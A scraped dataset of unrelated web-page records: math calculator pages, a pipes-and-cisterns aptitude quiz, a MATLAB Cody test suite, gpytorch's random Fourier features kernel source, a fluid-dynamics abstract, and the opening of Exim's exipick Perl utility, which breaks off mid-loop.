m.\n\nThis text is adapted from Openstax, University Physics Volume 1, Section 12.2: Examples of Static Equilibrium.\n\n### Get cutting-edge science videos from JoVE sent straight to your inbox every month.", null, "X", null, "" ]

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[ "Cody\n\n# Problem 356. Back to basics 12 - Input Arguments\n\nSolution 1038372\n\nSubmitted on 30 Oct 2016 by Kwin\nThis solution is locked. To view this solution, you need to provide a solution of the same size or smaller.\n\n### Test Suite\n\nTest Status Code Input and Output\n1   Pass\ny_correct = 1; assert(isequal(num_inputs(1),y_correct))\n\n2   Pass\ny_correct = 2; assert(isequal(num_inputs(1,1),y_correct))\n\n3   Pass\ny_correct = 0; assert(isequal(num_inputs(),y_correct))\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!" ]

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[ "# Source code for gpytorch.kernels.rff_kernel\n\n#!/usr/bin/env python3\n\nimport math\nfrom typing import Optional\n\nimport torch\nfrom torch import Tensor\n\nfrom ..lazy import MatmulLazyTensor, RootLazyTensor\nfrom ..models.exact_prediction_strategies import RFFPredictionStrategy\nfrom .kernel import Kernel\n\n[docs]class RFFKernel(Kernel):\nr\"\"\"\nComputes a covariance matrix based on Random Fourier Features with the RBFKernel.\n\nRandom Fourier features was originally proposed in\n'Random Features for Large-Scale Kernel Machines' by Rahimi and Recht (2008).\nInstead of the shifted cosine features from Rahimi and Recht (2008), we use\nthe sine and cosine features which is a lower-variance estimator --- see\n'On the Error of Random Fourier Features' by Sutherland and Schneider (2015).\n\nBy Bochner's theorem, any continuous kernel :math:k is positive definite\nif and only if it is the Fourier transform of a non-negative measure :math:p(\\omega), i.e.\n\n.. math::\n\\begin{equation}\nk(x, x') = k(x - x') = \\int p(\\omega) e^{i(\\omega^\\top (x - x'))} d\\omega.\n\\end{equation}\n\nwhere :math:p(\\omega) is a normalized probability measure if :math:k(0)=1.\n\nFor the RBF kernel,\n\n.. math::\n\\begin{equation}\nk(\\Delta) = \\exp{(-\\frac{\\Delta^2}{2\\sigma^2})}$and$p(\\omega) = \\exp{(-\\frac{\\sigma^2\\omega^2}{2})}\n\\end{equation}\n\nwhere :math:\\Delta = x - x'.\n\nGiven datapoint :math:x\\in \\mathbb{R}^d, we can construct its random Fourier features\n:math:z(x) \\in \\mathbb{R}^{2D} by\n\n.. math::\n\\begin{equation}\nz(x) = \\sqrt{\\frac{1}{D}}\n\\begin{bmatrix}\n\\cos(\\omega_1^\\top x)\\\\\n\\sin(\\omega_1^\\top x)\\\\\n\\cdots \\\\\n\\cos(\\omega_D^\\top x)\\\\\n\\sin(\\omega_D^\\top x)\n\\end{bmatrix}, \\omega_1, \\ldots, \\omega_D \\sim p(\\omega)\n\\end{equation}\n\nsuch that we have an unbiased Monte Carlo estimator\n\n.. math::\n\\begin{equation}\nk(x, x') = k(x - x') \\approx z(x)^\\top z(x') = \\frac{1}{D}\\sum_{i=1}^D \\cos(\\omega_i^\\top (x - x')).\n\\end{equation}\n\n.. note::\nWhen this kernel is used in batch mode, the random frequencies are drawn\nindependently across the batch dimension as well by default.\n\n:param num_samples: Number of random frequencies to draw. This is :math:D in the above\npapers. This will produce :math:D sine features and :math:D cosine\nfeatures for a total of :math:2D random Fourier features.\n:type num_samples: int\n:param num_dims: (Default None.) Dimensionality of the data space.\nThis is :math:d in the above papers. Note that if you want an\nindependent lengthscale for each dimension, set ard_num_dims equal to\nnum_dims. If unspecified, it will be inferred the first time forward\nis called.\n:type num_dims: int, optional\n\n:var torch.Tensor randn_weights: The random frequencies that are drawn once and then fixed.\n\nExample:\n\n>>> # This will infer num_dims automatically\n>>> kernel= gpytorch.kernels.RFFKernel(num_samples=5)\n>>> x = torch.randn(10, 3)\n>>> kxx = kernel(x, x).evaluate()\n>>> print(kxx.randn_weights.size())\ntorch.Size([3, 5])\n\n\"\"\"\n\nhas_lengthscale = True\n\ndef __init__(self, num_samples: int, num_dims: Optional[int] = None, **kwargs):\nsuper().__init__(**kwargs)\nself.num_samples = num_samples\nif num_dims is not None:\nself._init_weights(num_dims, num_samples)\n\ndef _init_weights(\nself, num_dims: Optional[int] = None, num_samples: Optional[int] = None, randn_weights: Optional[Tensor] = None\n):\nif num_dims is not None and num_samples is not None:\nd = num_dims\nD = num_samples\nif randn_weights is None:\nrandn_shape = torch.Size([*self._batch_shape, d, D])\nrandn_weights = torch.randn(\nrandn_shape, dtype=self.raw_lengthscale.dtype, device=self.raw_lengthscale.device\n)\nself.register_buffer(\"randn_weights\", randn_weights)\n\ndef forward(self, x1: Tensor, x2: Tensor, diag: bool = False, last_dim_is_batch: bool = False, **kwargs) -> Tensor:\nif last_dim_is_batch:\nx1 = x1.transpose(-1, -2).unsqueeze(-1)\nx2 = x2.transpose(-1, -2).unsqueeze(-1)\nnum_dims = x1.size(-1)\nif not hasattr(self, \"randn_weights\"):\nself._init_weights(num_dims, self.num_samples)\nx1_eq_x2 = torch.equal(x1, x2)\nz1 = self._featurize(x1, normalize=False)\nif not x1_eq_x2:\nz2 = self._featurize(x2, normalize=False)\nelse:\nz2 = z1\nD = float(self.num_samples)\nif diag:\nreturn (z1 * z2).sum(-1) / D\nif x1_eq_x2:\nreturn RootLazyTensor(z1 / math.sqrt(D))\nelse:\nreturn MatmulLazyTensor(z1 / D, z2.transpose(-1, -2))\n\ndef _featurize(self, x: Tensor, normalize: bool = False) -> Tensor:\n# Recompute division each time to allow backprop through lengthscale\n# Transpose lengthscale to allow for ARD\nx = x.matmul(self.randn_weights / self.lengthscale.transpose(-1, -2))\nz = torch.cat([torch.cos(x), torch.sin(x)], dim=-1)\nif normalize:\nD = self.num_samples\nz = z / math.sqrt(D)\nreturn z\n\ndef prediction_strategy(self, train_inputs, train_prior_dist, train_labels, likelihood):\n# Allow for fast sampling\nreturn RFFPredictionStrategy(train_inputs, train_prior_dist, train_labels, likelihood)" ]

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[ "Convert percentage to fraction in simplest form.\n\nInsert the percentage you would like converted to a fraction.\n\n%\n\nConvert from percent to the simplest form of a fraction.\n\n### How do you convert percent to fraction?\n\nTo convert percentage to fractions:\n\nPercent means, \"per hundred\", so say 5% is the same as 5/100.\n\n58% is like saying 58/100, or simplified, 29/50.\n\nSimplest Form Calculator - Simplify a fraction to it's most reduced form.\n\nMore Resources\n\nPercent to Fraction Game\n\nPercent to Fraction Video" ]

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[ "# Pipes and Cistern formulas and Solved Exercise Problems\n\nPosted On:March 2, 2019, Posted By: Latest Interview Questions, Views: 1921, Rating :", null, "", null, "", null, "", null, "", null, "## Best Pipes and Cistern - Aptitude Questions and Answers\n\nDear Readers, Welcome to Pipes and Cistern - Aptitude Objective Questions have been designed specially to get you acquainted with the nature of questions you may encounter during your Job interview for the subject of Pipes and Cistern - Aptitude MCQs. These objective type Pipes and Cistern - Aptitude questions are very important for campus placement test and job interviews. As per my experience good interviewers hardly plan to ask any particular question during your Job interview and these model questions are asked in the online technical test and interview of many Banks, SSC, Railways, Postal and many Govt Jobs.", null, "## Pipes and Cistern Important Formulas - Aptitude Questions\n\n1.Inlet :\n\nA pipe connected with a tank or a cistern or a reservoir, that fills it, is known as an inlet.\n\nOutlet :\n\nA pipe connected with a tank or cistern or reservoir, emptying it, is known as an outlet.\n\n2. If a pipe can fill a tank in x hours, then :\n\npart filled in 1 hour = 1 / x.\n\n3. I. If a pipe can empty a tank in y hours, then :\n\npart emptied in 1 hour = 1 / y.\n\nII. If a pipe can fill a tank in x hours and another pipe can empty the full tank in y hours (where y > x), then on opening both the pipes,\n\nthen the net part filled in 1 hour = (1 / x - 1 / y).\n\nIII. If a pipe can fill a tank in x hours and another pipe can empty the full tank in y hours (where y > x), then on opening both the pipes,\n\nthen the net part emptied in 1 hour = (1 / y - 1 / x).\n\n## Pipes and Cisterns Solved Problems\n\n### 1. Two pipes can fill a tank in 10 hours and 12 hours respectively while a third, pipe empties the full tank in 20 hours. If all the three pipes operate simultaneously, in how much time will the tank be filled?\n\nA. 4 hrs 30 min\n\nB. 7 hrs 30 min\n\nC. 8 hrs 10 min\n\nD. None of these\n\nExplanation:\n\nNet part filled in 1 hour = (1/10) + (1/12)-(1/20) = (8/60) = (2/15).\n\nThe tank will be full in 15/2 hrs = 7 hrs 30 min.\n\n### 2. An electric pump can fill a tank in 3 hours. Because of a leak in, the tank it took 3(1/2) hours to fill the tank. If the tank is full, how much time will the leak take to empty it?\n\nA. 14 hours\n\nB. 16 hours\n\nC. 18 hours\n\nD. 21 hours\n\nExplanation:\n\nWork done by the leak in 1 hour= (1/3)-(1/ (7/2))\n\n= (1/3)-(2/7) = (1/21).\n\nThe leak will empty .the tank in 21 hours.\n\n### 3. Two pipes A and B can fill a tank in 36 min. and 45 min. respectively. A water pipe C can empty the tank in 30 min. First A and B are opened. After 7 min, C is also opened. In how much time, the tank is full?\n\nA. 17 min\n\nB. 24 min\n\nC. 28 min\n\nD. 39 min\n\nExplanation:\n\nPart filled in 7 min. = 7*((1/36) + (1/45)) = (7/20).\n\nRemaining part= (1-(7/20)) = (13/20).\n\nNet part filled in 1 min. when A, B and C are\n\nopened= (1/36) + (1/45)-(1/30) = (1/60).\n\nNow, (1/60) part is filled in one minute.\n\n(13/20) part is filled in (60*(13/20)) =39 minutes.\n\n### 4. Two pipes A, B can fill a tank in 24 min. and 32 min. respectively. If both the pipes are opened simultaneously, after how much time B should be closed so that the tank is full in 18 min.?\n\nA. 5 min\n\nB. 14 min\n\nC. 8 min\n\nD. 19 min\n\nExplanation:\n\nLet B be closed after x min. then,\n\nPart filled by (A+B) in x min. +part filled by A in (18-x) min = 1\n\nTherefore x*((1/24) + (1/32)) + (18-x)*(1/24) =1\n\n=>  (7x/96) + ((18-x)/24) =1.\n\n=> 7x +4*(18-x) =96.\n\nHence, be must be closed after 8 min.\n\n### 5. Two pipes A and B can fill a tank in 20 and 30 minutes respectively. If both the pipes are used together, then how long will it take to fill the tank?\n\nA. 12 min\n\nB. 15 min\n\nC. 25 min\n\nD. 50 min\n\nExplanation:\n\nPart filled by A in 1 min =     1/20\n\nPart filled by B in 1 min =     1/30\n\nPart filled by (A + B) in 1 min = (1/20  + 1/30) = 1/12\n\nBoth pipes can fill the tank in 12 minutes.\n\n## Pipes and Cisterns Exercise Problems and Answers\n\n### 1. Pipe A can fill a tank in 5 hours, pipe B in 10 hours and pipe C in 30 hours. If all the pipes are open,in how many hours will the tank be filled ?\n\nA.  2\n\nB.  2.5\n\nC.  3\n\nD.  3.5\n\nExplanation:\n\npart filled by (A+B+C) in 1 hour = (1/5 + 1/6 + 1/30)\n\n‹=› 1/3.\n\nAll the three pipes together will fill the tank in 3 hours.\n\n### 2. Three pipes A, B and C can fill a tank from empty to full in 30 minutes, 20 minutes and 10 minutes respectively. When the tank is empty, all the three pipes are opened. A, B and C discharge chemical solutions P, Q and R respectively. What is the proportion of solution R in the liquid in the tank after 3 minutes ?\n\nA.  5/11\n\nB.  6/11\n\nC.  7/11\n\nD.  8/11\n\nSolution:\n\nPart filled by (A + B + C) in 3 minutes = 3(1/30+1/20+1/10)\n\n= (3×11/60)\n\n= 11/20.\n\nPart filled by C in 3 minutes = 3/10.\n\nRequired ratio = (3/10×20/11)\n\n= 6/11.\n\n### 3. Two taps A and B can fill a tank in 5 hours and 20 hours respectively. If both the taps are open then due to a leakage, it took 30 minutes more to fill the tank. If the tank is full, how long will it take for the leakage alone to empty the tank ?\n\nA.  8 hrs\n\nB.  9 hrs\n\nC.  18 hrs\n\nD.  36 hrs\n\nSolution:\n\nPart filled by (A + B) in 1 hour = (1/5 + 1/20)\n\n= 1/4.\n\nSo, A and B together can fill the tank in 4 hours.\n\nWork done by the leak in 1 hour = (1/4 - 2/9)\n\n= 1 / 36.\n\nTherefore, Leak will empty the tank in 36 hrs.\n\n### 4.  12 buckets of water fill a tank when the capacity of each bucket is 13.5 litres. How many buckets will be needed to fill the same tank, if the capacity of each bucket is 9 litres?\n\nA. 8\n\nB. 15\n\nC. 16\n\nD. 18\n\nExplanation:\n\nCapacity of the tank = (12 * 13.5) litres = 162 litres.\n\nCapacity of each bucket = 9 litres\n\nNumber of buckets needed = (162/9) = 18.\n\n### 5. One tap can fill a cistern in 2 hours and another tap can empty the cistern in 3 hours. How long will they take to fill the cistern if both the taps are opened ?\n\nA. 5 hrs\n\nB. 7 hrs\n\nC. 6 hrs\n\nD. 8 hrs\n\nExplanation:\n\nNet part filled in 1 hour = (1/2) - (1/3) = 1/6\n\nCistern will be full in 6 hours.\n\n### 6. A tap can fill a tank in 16 minutes and another can empty it in8 minutes. If the tank is already half full and both the tanks are oped together, the tank will be:\n\nA. filled in 12 min\n\nB. filled in 8 min\n\nC. emptied in 12 min\n\nD. emptied in 8 min\n\nExplanation:\n\nRate of waste pipe being more, the tank will be emptied when both the pipes are opened.\n\nNet emptying work done by both in 1 min = (1/8) - (1/16) = 1/16\n\nNow, full tank will be emptied by them in 16 min.\n\nHalf full tank will be emptied in 8 min.\n\n### 7. Two pipes A and B can fill a cistern in 12 minutes and 16 minutes respectively. If both the pipes are opened together, then after how much time B should be closed so that the tank is full in 9 minutes ?\n\nA. 3 min and 30 sec.\n\nB. 4 min and 30 sec.\n\nC. 4 min.\n\nD. 4 min 77 sec.\n\nExplanation:\n\nA tank can be filled by a tap in 20 minutes and by another tap in 6O minutesLet B be closed after x minutes. Then,\n\nPart filled by (A + B) in x min. + Part filled by A in (9 — x) min, = 1\n\nx[(1/12) + (1/16)] + (9 - x)(1/12) = 1 or (7x/48) + (9-x)/12 = 1\n\nor7x + 36 — 4x = 48 or x=4.\n\nSo, B must be closed after 4 minutes.\n\nA. 10 min\n\nB. 15 min\n\nC. 12 min\n\nD. 20 min\n\n### Explanation:\n\nPart filled in 10 min = 10[(1/20) + (1/60)] = 10 * (4/60) = 2/3\n\nRemaining part = (1 - (2/3)) = 1/3\n\nPart filled by second tap in 1 min = 1/60\n\n(1/60) : (1/3) ? 1 : x\n\nHence, the remaining part will be filled in 20 min.\n\n### 9. A leak in the bottom of a tank can empty the full tank in 6 hours. An inlet pipe fills water at the rate of 4 litres a minute. When the tank is full, the inlet is opened and due to the leak the tank is empty in 8 hours. The capacity of the tank (in litres) is\n\nA. 5260\n\nB. 5846\n\nC. 5760\n\nD. 6970\n\nExplanation:\n\nWork done by the inlet in 1 hour = (1/6) - (1/8) = 1/24\n\nWork done by the inlet in 1 min = (1/24) * (1/60) = 1/1440\n\nVolume of 1/1440 part = 4 liters.\n\nVolume of whole = (1440 * 4) litres = 5760 litres.\n\n### 10. Two taps A and B can fill a tank in 10 hours and 15 hours respectively. If both the taps are opened together, the tank will be full in:\n\nA. 5 hrs\n\nB. 12 and 1/2 hrs\n\nC. 6 hrs\n\nD. 7 and 1/2 hrs\n\nExplanation:\n\nA's hours work=1/10, B's 1 hours work = 1/15,\n\n(A+B)s 1 hours work = (1/10) + (1/15) = 5/30 = 1/6\n\nBoth the taps can fill the tank in 6 hours.\n\n### 11.  An electric pump can fill a tank in 3 hours. Because of a leak in the tank, it took 3 hours 30 min to fill the tank. The leak can drain out all the water of the tank in :\n\nA. 10 hours 30 min\n\nB. 21 hours\n\nC. 12 hours\n\nD. 24 hours\n\nExplanation:\n\nWork done by the leak in 1 hour = (1/3) - (2/7) = 1/21 .\n\nLeak will mpty the tank in 21 hours.\n\n### 12. To fill a cistern, pipes A, B and C take 20 minutes, 15 minutes and 12 minutes respectively. The time in minutes that the three pipes together will take to fill the cistern, is :\n\nA. 5\n\nB. 12\n\nC. 10\n\nD. 15 and 2/3\n\nExplanation:\n\nPart filled by (A +B+ c) in 1 min. = (1/20) +(1/15) + (1/12) = 12/60 = 1/5\n\nAll the three pipes together will fill the tank in 5 min.\n\nA. 4.5 hrs\n\nB. 6.5 hrs\n\nC. 5 hrs\n\nD. 7.2 hrs" ]

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[ "", null, "# Reducing Fractions Calculator\n\nEnter the fraction:\n=\n\nReducing Fractions Calculator is a free online tool that displays the reduced or the simplified form of the given fraction. BYJU’S online reducing fractions calculator tool makes the calculation faster and it displays the reduced form of the fraction in a fraction of seconds.\n\n## How to Use the Reducing Fractions Calculator?\n\nThe procedure to use the reducing fractions calculator is as follows:\n\nStep 1: Enter the numerator and the denominator in the input field\n\nStep 2: Now click the button “Reduce it” to get the simplified fraction\n\nStep 3: Finally, the reduced form of the fractions will be displayed in the output field\n\n### What is Meant by Reducing Fractions?\n\nIn mathematics, the fraction generally defines the parts of the whole. The fraction should be represented in the form of numerator/denominator. For example, 4/3 is a fraction. The fraction can be classified as like fraction, unlike fractions, proper fraction, improper fractions, mixed fraction, and so on. If the given fraction is represented in the large integer value, it can be simplified by reducing it to the smallest integer value. If the numerator and the denominator have any common factor, then eliminate it. For instance, 15/3 is a fraction, and it can be reduced into 5/1." ]

[ null, "https://www.facebook.com/tr", null ]

[ "# Abstract:\n\nThis research concerned three independent projects of ICMA Institute of Computational Mathematics and Applications personnel, each belonging to the general area of computational fluid dynamics. The first project dealt with the computation of stationary Navier-Stokes solutions using continuation methods. Error estimates for certain finite element solutions of continuation problems were derived and extensions to more general operators including the Navier-Stokes operator were investigated. Numerical methods for the detection of Hopf bifurcation were studied. The second project involved construction, analysis and implementation of efficient computer algorithms for the finite difference and finite element-dual variable discretization of the two-dimensional Navier-Stokes problems. Particular attention was given to finite element and finite differences discretization such problems that arise in combustor modeling. The third project sought to extend the dual variable reduction technique to various fluid models. This required the construction of a network analogue for the discrete difference equations along with an analysis of the fundamental matrix and dual variable transformation involved. Author\n\n# Subject Categories:\n\n• Theoretical Mathematics\n• Fluid Mechanics" ]

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[ "Solutions by everydaycalculation.com\n\n## Reduce 179/28 to lowest terms\n\n179/28 is already in the simplest form. It can be written as 6.392857 in decimal form (rounded to 6 decimal places).\n\n#### Steps to simplifying fractions\n\n1. Find the GCD (or HCF) of numerator and denominator\nGCD of 179 and 28 is 1\n2. Divide both the numerator and denominator by the GCD\n179 ÷ 1/28 ÷ 1\n3. Reduced fraction: 179/28\nTherefore, 179/28 simplified is 179/28\n\nMathStep (Works offline)", null, "Download our mobile app and learn to work with fractions in your own time:" ]

[ null, "https://answers.everydaycalculation.com/mathstep-app-icon.png", null ]

[ "# Tip Calculator\n\nHow much is a 10 percent tip on \\$110.91?\n\nTIP:\n\\$ 0\nTOTAL:\n\\$ 0\nTIP PER PERSON:\n\\$ 0\nTOTAL PER PERSON:\n\\$ 0\n\n## How much is a 10 percent tip on \\$110.91? How to calculate this tip?\n\nAre you looking for the answer to this question: How much is a 10 percent tip on \\$110.91? Here is the answer.\n\nLet's see how to calculate a 10 percent tip when the amount to be paid is 110.91. Tip is a percentage, and a percentage is a number or ratio expressed as a fraction of 100. This means that a 10 percent tip can also be expressed as follows: 10/100 = 0.1 . To get the tip value for a \\$110.91 bill, the amount of the bill must be multiplied by 0.1, so the calculation is as follows:\n\n1. TIP = 110.91*10% = 110.91*0.1 = 11.091\n\n2. TOTAL = 110.91+11.091 = 122.001\n\n3. Rounded to the nearest whole number: 122\n\nIf you want to know how to calculate the tip in your head in a few seconds, visit the Tip Calculator Home.\n\n## So what is a 10 percent tip on a \\$110.91? The answer is 11.09!\n\nOf course, it may happen that you do not pay the bill or the tip alone. A typical case is when you order a pizza with your friends and you want to split the amount of the order. For example, if you are three, you simply need to split the tip and the amount into three. In this example it means:\n\n1. Total amount rounded to the nearest whole number: 122\n\n2. Split into 3: 40.67\n\nSo in the example above, if the pizza order is to be split into 3, you’ll have to pay \\$40.67 . Of course, you can do these settings in Tip Calculator. You can split the tip and the total amount payable among the members of the company as you wish. So the TipCalc.net page basically serves as a Pizza Tip Calculator, as well.\n\n## Tip Calculator Examples (BILL: \\$110.91)\n\nHow much is a 5% tip on \\$110.91?\nHow much is a 10% tip on \\$110.91?\nHow much is a 15% tip on \\$110.91?\nHow much is a 20% tip on \\$110.91?\nHow much is a 25% tip on \\$110.91?\nHow much is a 30% tip on \\$110.91?" ]

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[ "1 #!PERL_COMMAND\n2 # Copyright (c) 1995 - 2018 University of Cambridge.\n3 # See the file NOTICE for conditions of use and distribution.\n6 # This variables should be set by the building process\n7 my \\$spool = 'SPOOL_DIRECTORY';  # may be overridden later\n8 my \\$exim  = 'BIN_DIRECTORY/exim';\n10 # Need to set this dynamically during build, but it's not used right now anyway.\n11 my \\$charset = 'ISO-8859-1';\n13 # use 'exipick --help' to view documentation for this program.\n14 # Documentation also viewable online at\n15 #       http://www.exim.org/eximwiki/ToolExipickManPage\n17 use strict;\n18 BEGIN { pop @INC if \\$INC[-1] eq '.' };\n19 use Getopt::Long;\n20 use File::Basename;\n22 my(\\$p_name)   = \\$0 =~ m|/?([^/]+)\\$|;\n23 my \\$p_version = \"20100323.0\";\n24 my \\$p_usage   = \"Usage: \\$p_name [--help|--version] (see --help for details)\";\n25 my \\$p_cp      = <<EOM;\n26         Copyright (c) 2003-2010 John Jetmore <jj33\\@pobox.com>\n28     This program is free software; you can redistribute it and/or modify\n29     it under the terms of the GNU General Public License as published by\n30     the Free Software Foundation; either version 2 of the License, or\n31     (at your option) any later version.\n33     This program is distributed in the hope that it will be useful,\n34     but WITHOUT ANY WARRANTY; without even the implied warranty of\n35     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n36     GNU General Public License for more details.\n38     You should have received a copy of the GNU General Public License\n39     along with this program; if not, write to the Free Software\n40     Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.\n41 EOM\n42 ext_usage(); # before we do anything else, check for --help\n44 \\$| = 1; # unbuffer STDOUT\n46 Getopt::Long::Configure(\"bundling_override\");\n47 GetOptions(\n48   'spool=s'     => \\\\$G::spool,      # exim spool dir\n49   'C|Config=s'  => \\\\$G::config,     # use alternative Exim configuration file\n50   'input-dir=s' => \\\\$G::input_dir,  # name of the \"input\" dir\n51   'queue=s'     => \\\\$G::queue,      # name of the queue\n52   'finput'      => \\\\$G::finput,     # same as \"--input-dir Finput\"\n53   'bp'          => \\\\$G::mailq_bp,   # List the queue (noop - default)\n54   'bpa'         => \\\\$G::mailq_bpa,  # ... with generated address as well\n55   'bpc'         => \\\\$G::mailq_bpc,  # ... but just show a count of messages\n56   'bpr'         => \\\\$G::mailq_bpr,  # ... do not sort\n57   'bpra'        => \\\\$G::mailq_bpra, # ... with generated addresses, unsorted\n58   'bpru'        => \\\\$G::mailq_bpru, # ... only undelivered addresses, unsorted\n59   'bpu'         => \\\\$G::mailq_bpu,  # ... only undelivered addresses\n60   'and'         => \\\\$G::and,        # 'and' the criteria (default)\n61   'or'          => \\\\$G::or,         # 'or' the criteria\n62   'f=s'         => \\\\$G::qgrep_f,    # from regexp\n63   'r=s'         => \\\\$G::qgrep_r,    # recipient regexp\n64   's=s'         => \\\\$G::qgrep_s,    # match against size field\n65   'y=s'         => \\\\$G::qgrep_y,    # message younger than (secs)\n66   'o=s'         => \\\\$G::qgrep_o,    # message older than (secs)\n67   'z'           => \\\\$G::qgrep_z,    # frozen only\n68   'x'           => \\\\$G::qgrep_x,    # non-frozen only\n69   'c'           => \\\\$G::qgrep_c,    # display match count\n70   'l'           => \\\\$G::qgrep_l,    # long format (default)\n71   'i'           => \\\\$G::qgrep_i,    # message ids only\n72   'b'           => \\\\$G::qgrep_b,    # brief format\n73   'size'        => \\\\$G::size_only,  # sum the size of the matching msgs\n74   'not'         => \\\\$G::negate,     # flip every test\n75   'R|reverse'   => \\\\$G::reverse,    # reverse output (-R is qgrep option)\n76   'sort=s'      => \\@G::sort,       # allow you to choose variables to sort by\n77   'freeze=s'    => \\\\$G::freeze,     # freeze data in this file\n78   'thaw=s'      => \\\\$G::thaw,       # thaw data from this file\n79   'unsorted'    => \\\\$G::unsorted,   # unsorted, regardless of output format\n80   'random'      => \\\\$G::random,     # (poorly) randomize evaluation order\n81   'flatq'       => \\\\$G::flatq,      # brief format\n82   'caseful'     => \\\\$G::caseful,    # in '=' criteria, respect case\n83   'caseless'    => \\\\$G::caseless,   #   ...ignore case (default)\n84   'charset=s'   => \\\\$charset,       # charset for \\$bh and \\$h variables\n85   'show-vars=s' => \\\\$G::show_vars,  # display the contents of these vars\n86   'just-vars'   => \\\\$G::just_vars,  # only display vars, no other info\n87   'show-rules'  => \\\\$G::show_rules, # display compiled match rules\n88   'show-tests'  => \\\\$G::show_tests, # display tests as applied to each message\n89   'version'     => sub {\n90         print basename(\\$0) . \": \\$0\\n\",\n91             \"build: EXIM_RELEASE_VERSIONEXIM_VARIANT_VERSION\\n\",\n92             \"perl(runtime): \\$]\\n\";\n93             exit 0;\n94   },\n95 ) || exit(1);\n97 # if both freeze and thaw specified, only thaw as it is less destructive\n98 \\$G::freeze = undef               if (\\$G::freeze && \\$G::thaw);\n99 freeze_start()                   if (\\$G::freeze);\n100 thaw_start()                     if (\\$G::thaw);\n102 # massage sort options (make '\\$var,Var:' be 'var','var')\n103 for (my \\$i = scalar(@G::sort)-1; \\$i >= 0; \\$i--) {\n104   \\$G::sort[\\$i] = lc(\\$G::sort[\\$i]);\n105   \\$G::sort[\\$i] =~ s/[\\\\$:\\s]//g;\n106   if ((my @vars = split(/,/, \\$G::sort[\\$i])) > 1) {\n107     \\$G::sort[\\$i] = \\$vars; shift(@vars); # replace current slot w/ first var\n108     splice(@G::sort, \\$i+1, 0, @vars);      # add other vars after current pos\n109   }\n110 }\n111 push(@G::sort, \"message_exim_id\") if (@G::sort);\n112 die \"empty value provided to --sort not allowed, exiting\\n\"\n113     if (grep /^\\s*\\$/, @G::sort);\n115 # massage the qgrep options into standard criteria\n116 push(@ARGV, \"\\\\$sender_address     =~ /\\$G::qgrep_f/\") if (\\$G::qgrep_f);\n117 push(@ARGV, \"\\\\$recipients         =~ /\\$G::qgrep_r/\") if (\\$G::qgrep_r);\n118 push(@ARGV, \"\\\\$shown_message_size eq \\$G::qgrep_s\")   if (\\$G::qgrep_s);\n119 push(@ARGV, \"\\\\$message_age        <  \\$G::qgrep_y\")   if (\\$G::qgrep_y);\n120 push(@ARGV, \"\\\\$message_age        >  \\$G::qgrep_o\")   if (\\$G::qgrep_o);\n121 push(@ARGV, \"\\\\$deliver_freeze\")                      if (\\$G::qgrep_z);\n122 push(@ARGV, \"!\\\\$deliver_freeze\")                     if (\\$G::qgrep_x);\n124 \\$G::mailq_bp        = \\$G::mailq_bp;        # shut up -w\n125 \\$G::and             = \\$G::and;             # shut up -w\n126 \\$G::msg_ids         = {};                  # short circuit when crit is only MID\n127 \\$G::caseless        = \\$G::caseful ? 0 : 1; # nocase by default, case if both\n128 @G::recipients_crit = ();                  # holds per-recip criteria\n129 \\$spool              = defined \\$G::spool ? \\$G::spool\n130                       : do { chomp(\\$_ = `\\$exim @{[defined \\$G::config ? \"-C \\$G::config\" : '']} -n -bP spool_directory`)\n131                              and \\$_ or \\$spool };\n132 my \\$input_dir       = (defined \\$G::queue ? \"\\$G::queue/\" : '')\n133                     . (defined \\$G::input_dir || (\\$G::finput ? \"Finput\" : \"input\"));\n134 my \\$count_only      = 1 if (\\$G::mailq_bpc  || \\$G::qgrep_c);\n135 my \\$unsorted        = 1 if (\\$G::mailq_bpr  || \\$G::mailq_bpra ||\n136                             \\$G::mailq_bpru || \\$G::unsorted);\n137 my \\$msg             = \\$G::thaw ? thaw_message_list()\n138                                : get_all_msgs(\\$spool, \\$input_dir, \\$unsorted,\n139                                               \\$G::reverse, \\$G::random);\n140 die \"Problem accessing thaw file\\n\" if (\\$G::thaw && !\\$msg);\n141 my \\$crit            = process_criteria(\\@ARGV);\n142 my \\$e               = Exim::SpoolFile->new();\n143 my \\$tcount          = 0 if (\\$count_only);  # holds count of all messages\n144 my \\$mcount          = 0 if (\\$count_only);  # holds count of matching messages\n145 my \\$total_size      = 0 if (\\$G::size_only);\n146 \\$e->set_undelivered_only(1)      if (\\$G::mailq_bpru || \\$G::mailq_bpu);\n147 \\$e->set_show_generated(1)        if (\\$G::mailq_bpra || \\$G::mailq_bpa);\n148 \\$e->output_long()                if (\\$G::qgrep_l);\n149 \\$e->output_idonly()              if (\\$G::qgrep_i);\n150 \\$e->output_brief()               if (\\$G::qgrep_b);\n151 \\$e->output_flatq()               if (\\$G::flatq);\n152 \\$e->output_vars_only()           if (\\$G::just_vars && \\$G::show_vars);\n153 \\$e->set_show_vars(\\$G::show_vars) if (\\$G::show_vars);\n154 \\$e->set_spool(\\$spool, \\$input_dir);\n156 MSG:\n157 foreach my \\$m (@\\$msg) {\n158   next if (scalar(keys(%\\$G::msg_ids)) && !\\$G::or\n159                                       && !\\$G::msg_ids->{\\$m->{message}});\n160   if (\\$G::thaw) {\n161     my \\$data = thaw_data();\n162     if (!\\$e->restore_state(\\$data)) {\n163       warn \"Couldn't thaw \\$data->{_message}: \".\\$e->error().\"\\n\";\n164       next MSG;\n165     }\n166   } else {\n167     if (!\\$e->parse_message(\\$m->{message}, \\$m->{path})) {\n168       warn \"Couldn't parse \\$m->{message}: \".\\$e->error().\"\\n\";\n169       next MSG;\n170     }\n171   }\n172   \\$tcount++;\n173   my \\$match = 0;\n174   my @local_crit = ();\n175   foreach my \\$c (@G::recipients_crit) {              # handle each_recip* vars\n176     foreach my \\$addr (split(/, /, \\$e->get_var(\\$c->{var}))) {\n177       my %t = ( 'cmp' => \\$c->{cmp}, 'var' => \\$c->{var} );\n178       \\$t{cmp} =~ s/\"?\\\\$var\"?/'\\$addr'/;\n179       push(@local_crit, \\%t);\n180     }\n181   }\n182   if (\\$G::show_tests) { print \\$e->get_var('message_exim_id'), \"\\n\"; }\n183   CRITERIA:\n184   foreach my \\$c (@\\$crit, @local_crit) {\n185     my \\$var = \\$e->get_var(\\$c->{var});\n186     my \\$ret = eval(\\$c->{cmp});\n187     if (\\$G::show_tests) {\n188       printf \"  %25s =  '%s'\\n  %25s => \\$ret\\n\",\\$c->{var},\\$var,\\$c->{cmp},\\$ret;\n189     }\n190     